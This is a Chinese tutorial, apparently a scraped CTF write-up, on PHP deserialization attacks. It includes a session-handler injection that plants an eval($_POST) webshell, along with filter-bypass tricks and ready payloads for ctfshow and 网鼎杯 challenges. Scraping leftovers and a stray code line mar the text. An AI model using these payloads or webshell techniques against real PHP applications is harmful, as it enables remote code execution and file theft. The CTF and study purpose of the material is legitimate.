ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);

ini_set(&#39;session.serialize_handler&#39;, &#39; php_serialize &#39;);
Salin selepas log masuk

测试一下看这两个什么区别

<?php  
ini_set(&#39;session.serialize_handler&#39;,&#39;php&#39;);  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION[&#39;user&#39;]=$a;
Salin selepas log masuk

在tmp下找到这个文件打开看

user|O:5:"test1":1:{s:1:"a";s:4:"test";}

<?php  
ini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION[&#39;user&#39;]=$a;

a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}
Salin selepas log masuk

两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容

inc.php中关键代码

class User{  
public $username;  
public $password;  
public $status;  
function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  
function setStatus($s){  
$this->status=$s;  
}  
function __destruct(){  
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(&#39;Y-m-d H:i:s&#39;));  
}  
}

function __destruct(){

file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(&#39;Y-m-d H:i:s&#39;));

}
Salin selepas log masuk

可以利用这个函数写一句话木马

而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了

<?php  
class User  
{  
public $username;  
public $password;  

function __construct($username, $password)  
{  
$this->username = $username;  
$this->password = $password;  
}  
}  
$a=new User(&#39;1.php&#39;,&#39;<?php eval($_POST["1"]);?>&#39;);  
echo base64_encode("|".serialize($a));
Salin selepas log masuk

访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符:$SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')

第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit')

,因为有base64_decode,所以这里我们还有base64_encode一下

抓包改limit值

1Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

然后发包,接着访问check.php 实现反序列化shell的写入

1Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

然后变更请求方法,注意直接右键选择变更POST请求

1Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

tricks总结

16进制绕过字符过滤

//O:1:"A":1:{s:2:"ab";s:4:"test";}  
//O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制
Salin selepas log masuk

php类名对大小写不敏感

ctfshowWEB266

<?php  

highlight_file(__FILE__);  

include(&#39;flag.php&#39;);  
$cs = file_get_contents(&#39;php://input&#39;);  


class ctfshow{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public function __construct($u,$p){  
$this->username=$u;  
$this->password=$p;  
}  
public function login(){  
return $this->username===$this->password;  
}  
public function __toString(){  
return $this->username;  
}  
public function __destruct(){  
global $flag;  
echo $flag;  
}  
}  
$ctfshowo=@unserialize($cs);  
if(preg_match(&#39;/ctfshow/&#39;, $cs)){  
throw new Exception("Error $ctfshowo",1);  
}
Salin selepas log masuk

很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,

这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写

直接这样

$cs = file_get_contents(&#39;php://input&#39;);采用php伪协议传参

直接提交POST数据就行

<?php  


class cTfshow  
{  


}  

$a=new cTfshow();  
echo (serialize($a));
Salin selepas log masuk

1Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

+号绕过

ctfshowWEB258

<?php  


error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public $isVip=false;  
public $class = &#39;info&#39;;  

public function __construct(){  
$this->class=new info();  
}  
public function login($u,$p){  
return $this->username===$u&&$this->password===$p;  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class info{  
public $user=&#39;xxxxxx&#39;;  
public function getInfo(){  
return $this->user;  
}  
}  

class backDoor{  
public $code;  
public function getInfo(){  
eval($this->code);  
}  
}  

$username=$_GET[&#39;username&#39;];  
$password=$_GET[&#39;password&#39;];  

if(isset($username) && isset($password)){  
if(!preg_match(&#39;/[oc]:d+:/i&#39;, $_COOKIE[&#39;user&#39;])){  
$user = unserialize($_COOKIE[&#39;user&#39;]);  
}  
$user->login($username,$password);  
}  

可见增加了过滤,过滤例如如下o:123:、c:456:

s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()
Salin selepas log masuk

正常反序列化肯定会有o和c这种

如果O:后面不跟数字的话就可以把这个绕过去了

这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的

这里把O:后面加上一个加号

<?php  

error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public $isVip=false;  
public $class = &#39;info&#39;;  

public function __construct(){  
$this->class=new backDoor();  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class backDoor{  
public $code="phpinfo();";  
public function getInfo(){  
eval($this->code);  
}  
}  

$a=new ctfShowUser();  
//echo urlencode(serialize($a));  
$a=serialize($a);  
$a=preg_replace(&#39;/[oc]+:/i&#39;,&#39;O:+&#39;,$a);  
echo urlencode($a);
Salin selepas log masuk

1Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

利用&使两值恒等

题目ctfshow web265

<?php  

error_reporting(0);  
include(&#39;flag.php&#39;);  
highlight_file(__FILE__);  
class ctfshowAdmin{  
public $token;  
public $password;  

public function __construct($t,$p){  
$this->token=$t;  
$this->password = $p;  
}  
public function login(){  
return $this->token===$this->password;  
}  
}  

$ctfshow = unserialize($_GET[&#39;ctfshow&#39;]);  
$ctfshow->token=md5(mt_rand());  

if($ctfshow->login()){  
echo $flag;  
}

$ctfshow->login()这个成立才给flag

$ctfshow->token=md5(mt_rand());但是这个是随机的
Salin selepas log masuk

这个题考察php按地址传参

<?php  
$a=&#39;11&#39;;  
$b=&$a;  
$b=1;  
echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化  
//1
Salin selepas log masuk

所以我们可以直接这样

<?php  
class ctfshowAdmin{  
public $token;  
public $password;  
public function __construct(){  
$this->password = &$this->token;  
}  
}  
$a=new ctfshowAdmin();  
echo ( urlencode(serialize($a)));
Salin selepas log masuk

php7.1+反序列化对类属性不敏感

题目来自[网鼎杯 2020 青龙组]AreUSerialz

<?php  

include("flag.php");  

highlight_file(__FILE__);  

class FileHandler {  

protected $op;  
protected $filename;  
protected $content;  

function __construct() {  
$op = "1";  
$filename = "/tmp/tmpfile";  
$content = "Hello World!";  
$this->process();  
}  

public function process() {  
if($this->op == "1") {  
$this->write();  
} else if($this->op == "2") {  
$res = $this->read();  
$this->output($res);  
} else {  
$this->output("Bad Hacker!");  
}  
}  

private function write() {  
if(isset($this->filename) && isset($this->content)) {  
if(strlen((string)$this->content) > 100) {  
$this->output("Too long!");  
die();  
}  
$res = file_put_contents($this->filename, $this->content);  
if($res) $this->output("Successful!");  
else $this->output("Failed!");  
} else {  
$this->output("Failed!");  
}  
}  

private function read() {  
$res = "";  
if(isset($this->filename)) {  
$res = file_get_contents($this->filename);  
}  
return $res;  
}  

private function output($s) {  
echo "[Result]: <br>";  
echo $s;  
}  

function __destruct() {  
if($this->op === "2")  
$this->op = "1";  
$this->content = "";  
$this->process();  
}  

}  

function is_valid($s) {  
for($i = 0; $i < strlen($s); $i++)  
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  
return false;  
return true;  
}  

if(isset($_GET{&#39;str&#39;})) {  

$str = (string)$_GET[&#39;str&#39;];  
if(is_valid($str)) {  
$obj = unserialize($str);  
}  

}
Salin selepas log masuk

看着很多,其实没什么东西,

关键要利用到这里

大致看了write函数或者read函数,都可以尝试利用得到flag

但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数

__destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法

接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被

is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性

因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

POC如下

<?php  

class FileHandler {  

public $op=2;  
public $filename="flag.php";  
public $content="111";  
pr  
}  

$a = new FileHandler();  

echo urlencode(serialize($a));  

?>

payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
Salin selepas log masuk

推荐学习:《PHP视频教程

Atas ialah kandungan terperinci Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula). Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:合天网安实验室
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan